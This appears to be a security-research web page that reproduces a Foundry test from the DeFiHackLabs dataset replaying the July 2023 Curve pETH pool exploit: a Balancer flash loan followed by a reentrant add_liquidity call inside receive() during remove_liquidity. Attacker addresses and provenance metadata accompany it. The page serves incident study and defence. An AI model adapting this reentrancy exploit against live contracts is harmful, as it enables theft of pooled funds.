Public reproduction file
src/test/2023-07/Curve_exp01.sol
Public reproduction file for dataset entry Curve.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~41M USD$8// Attacker : https://etherscan.io/address/0x6ec21d1868743a44318c3c259a6d4953f99785389// Attack Contract : https://etherscan.io/address/0x466b85b49ec0c5c1eb402d5ea3c4b88864ea0f0410// Vulnerable Contract : https://etherscan.io/address/0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e11// Attack Tx : https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e#code16// @Analysis17// Post-mortem : https://hackmd.io/@LlamaRisk/BJzSKHNjn18// Twitter Guy : https://twitter.com/vyperlang/status/168569297305149849720interface ICurve {21 function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);23 function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);25 function remove_liquidity(uint256 token_amount, uint256[2] memory min_amounts) external;26}28contract ContractTest is Test {29 IWFTM WETH = IWFTM(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));30 IERC20 pETH = IERC20(0x836A808d4828586A69364065A1e064609F5078c7);31 IERC20 LP = IERC20(0x9848482da3Ee3076165ce6497eDA906E66bB85C5);32 ICurve CurvePool = ICurve(0x9848482da3Ee3076165ce6497eDA906E66bB85C5);33 IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);34 uint256 nonce;36 function setUp() public {37 vm.createSelectFork("mainnet", 17_806_055);38 vm.label(address(WETH), "WETH");39 vm.label(address(pETH), "pETH");40 vm.label(address(CurvePool), "CurvePool");41 vm.label(address(Balancer), "Balancer");42 }44 function testExploit() external {45 deal(address(this), 0);46 address[] memory tokens = new address[](1);47 tokens[0] = address(WETH);48 uint256[] memory amounts = new uint256[](1);49 amounts[0] = 80_000 ether;50 bytes memory userData = "";51 Balancer.flashLoan(address(this), tokens, amounts, userData);53 emit log_named_decimal_uint(54 "Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()55 );56 }58 function receiveFlashLoan(59 address[] memory tokens,60 uint256[] memory amounts,61 uint256[] memory feeAmounts,62 bytes memory userData63 ) external {64 WETH.withdraw(WETH.balanceOf(address(this)));65 uint256[2] memory amount;66 amount[0] = 40_000 ether;67 amount[1] = 0;68 CurvePool.add_liquidity{value: 40_000 ether}(amount, 0);70 amount[0] = 0;71 CurvePool.remove_liquidity(LP.balanceOf(address(this)), amount); // reentrancy enter point72 nonce++;74 CurvePool.remove_liquidity(10_272 ether, amount);76 WETH.deposit{value: address(this).balance}();78 pETH.approve(address(CurvePool), pETH.balanceOf(address(this)));79 CurvePool.exchange(1, 0, pETH.balanceOf(address(this)), 0);81 WETH.deposit{value: address(this).balance}();83 WETH.transfer(address(Balancer), 80_000 ether);84 }86 receive() external payable {87 if (msg.sender == address(CurvePool) && nonce == 0) {88 uint256[2] memory amount;89 amount[0] = 40_000 ether;90 amount[1] = 0;91 CurvePool.add_liquidity{value: 40_000 ether}(amount, 0);92 }93 }94}Analysis
Dataset entry
Public Foundry test for “Curve” (2023-07-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
- src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
- src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
- src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
- src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
- src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
- src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
- src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
- src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
- src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
- src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
- src/test/2023-07/FFIST_exp.solSame month in the dataset · 80 lines
- src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
- src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
- src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
- src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
- src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
- src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
- src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
- src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
- src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
- src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame protocol or name in the dataset · 281 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x6ec21d1868743a44318c3c259a6d4953f9978538
- Attack Contract
0x466b85b49ec0c5c1eb402d5ea3c4b88864ea0f04
- Vulnerable Contract
0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e
- Attack Tx
0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c
- Post: https://hackmd.io/@LlamaRisk/BJzSKHNjn
- Twitter: https://twitter.com/vyperlang/status/1685692973051498497
- Explorer: https://etherscan.io/address/0x6ec21d1868743a44318c3c259a6d4953f9978538
- Explorer: https://etherscan.io/address/0x466b85b49ec0c5c1eb402d5ea3c4b88864ea0f04
- Explorer: https://etherscan.io/address/0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e
- Explorer: https://etherscan.io/address/0x6326debbaa15bcfe603d831e7d75f4fc10d9b43e#code
File record
- Name
- Curve
- Path
- src/test/2023-07/Curve_exp01.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 56140fe50e2022d3a556733048e54b0234899a46
- Language
- Solidity
- Size
- 95 lines
- Date
- 2023-07-30
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-07/Curve_exp01.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 56140fe50e2022d3a556733048e54b0234899a46, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.